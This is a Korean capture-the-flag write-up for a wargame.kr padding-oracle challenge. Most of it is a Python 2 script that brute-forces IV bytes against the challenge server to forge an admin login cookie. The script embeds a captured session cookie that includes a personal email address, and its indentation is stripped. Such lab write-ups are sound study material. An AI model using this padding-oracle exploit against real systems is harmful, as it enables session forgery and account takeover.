문제에 접근하면 padding oracle vulnerability에 대해 알고 있는지 물어본다.
해당 기법을 이용하여 문제를 해결해야 한다는 것을 알 수 있다.
해당 기법에 대해서는 아래 블로그에 설명이 잘 나와있다.
해당 블로그를 참고하여 패딩 오라클 에 대해 잘 숙지하고 문제에 접근해보자.
한마디로 정리하자면 오라클이란 올바른지 확인하는 것이라 생각하면 되고 이에 따라 패딩 오라클이란 암호화된 값을 복호화했을 때 패딩이 올바르게 되어 있는지 확인해주는 것이다.
참고) 서버측에서는 PlainText의 padding이 잘 되어있다면 padding이 잘못되어 있을 때와 다른 응답을 보낸다.
이 취약점은 ASP.NET에서 세션을 변조할 수 있는 취약점으로 나온지가 꽤 된 취약점으로 RealWorld에서는 자주 발견되기 힘들 것으로 보이긴합니다. (워낙 크리티컬해야지;;)
해당 문제에 접근하면 guest와 그에 해당하는 패스워드가 적혀있는데 로그인을 하면 아래와 같이 admin의 세션을 얻는 것이 목표라고 말하고 있다.
버프를 통해 세션값을 얻어보면 아래와 같이 L0g1n이라는 쿠키값이 참 의심스럽게 생겼다.
해당 값의 길이를 세어보니 총 24바이트로 12바이트씩 블럭이 되어있음을 예상할 수 있다.
일단 뒷 블럭의 마지막 값을 바꿔가며 브루트포싱을 하여 invalid user가 나오는 값이 무엇인지 00~FF를 넣어보자.
후.... 더러운 코드지만 잘 될줄 알았지만 값을 넣어도 안되네 ㅠㅠ
import urllib
import urllib2
from urllib import quote,unquote
import base64
url='http://wargame.kr:8080/dun_worry_about_the_vase/login_ok.php'
data = {"id":"guest","ps":"guest"}
data = urllib.urlencode(data)
request = urllib2.Request(url,data)
request.add_header("Cookie", "ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%228a1e8bd46581d8503958676735c11a70%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A8%3A%2210.0.2.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F66.0.3359.139+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1525236407%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A8%3A%22R00t%40ble%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22air0700%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%228850%22%3B%7Debaa3718c2c73df7bab9171deca20b7994ca8280")
response = urllib2.urlopen(request)
headers = response.info().headers
data = response.read()
for s in headers:
if "Set-Cookie" in s:
Llocation = s.find("L0g1n")
Rlocation = s.find("\r")
#print s[Llocation+6:Rlocation]
Key = s[Llocation+6:Rlocation]
url2='http://wargame.kr:8080/dun_worry_about_the_vase/main.php'
request2=urllib2.Request(url2)
Key1 = unquote(Key[0:Key.find("%3D")+3]) #urldecodeing
#print Key1
Key2 = unquote(Key[Key.find("%3D")+3:]) #urldecodeing
#print Key2
hexKey1 = (base64.decodestring(Key1)).encode("hex")
# print hexKey1
hexKey2 = (base64.decodestring(Key2)).encode("hex")
iv="0000000000000000"
iv_Temp = iv
for j in range(1,9):
for i in range(0,256):
iv_Temp = iv_Temp[:-2*j]+format(i,'02x')+iv_Temp[16-2*(j-1):]
print iv_Temp
result = base64.encodestring(iv_Temp.decode("hex"))+Key2
result = result.replace("\n","")
#print result
request2.add_header("Cookie","L0g1n="+result+"; ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%228a1e8bd46581d8503958676735c11a70%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A8%3A%2210.0.2.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F66.0.3359.139+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1525236407%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A8%3A%22R00t%40ble%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22air0700%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%228850%22%3B%7Debaa3718c2c73df7bab9171deca20b7994ca8280")
response = urllib2.urlopen(request2)
data = response.read()
print format(i,'02x')+" : " +data
if(data.find("invalid user")!=-1):
print str(j) + "'s result=" +result
#hexKey1 = hexKey1[:-2*j]+hex(i^(j+1))[-2:]+hexKey1[16-2*(j-1):]
iv= iv[:-2*j]+format(i^j,'02x')+iv[16-2*(j-1):]
print "[+]iv= " + iv
if(j==1):
iv_Temp = iv[:-2*j]+format((i^j)^(j+1),'02x')
elif(j==8):
print "[+]iv_Temp = " + iv_Temp
print "[+]IV = " + hexKey1
print "[+]encrypted Text = " + hexKey2
break
else:
Temp = ''
for k in range(j+1,1,-1):
print "jjjjj: " + str(j)
Temp += format(int(iv[16-2*(k-1):16-2*(k-2)],16)^(j+1),'02x')
iv_Temp = iv_Temp[:-2*j]+Temp
print "[+]iv_Temp = " + iv_Temp
break
#print "[+]decrypted Text = " + iv_Temp ^ hexKey1
코드 결과 나온 값은 hex값이므로 디코딩 후 base64로 인코딩해줘야 답이 된다.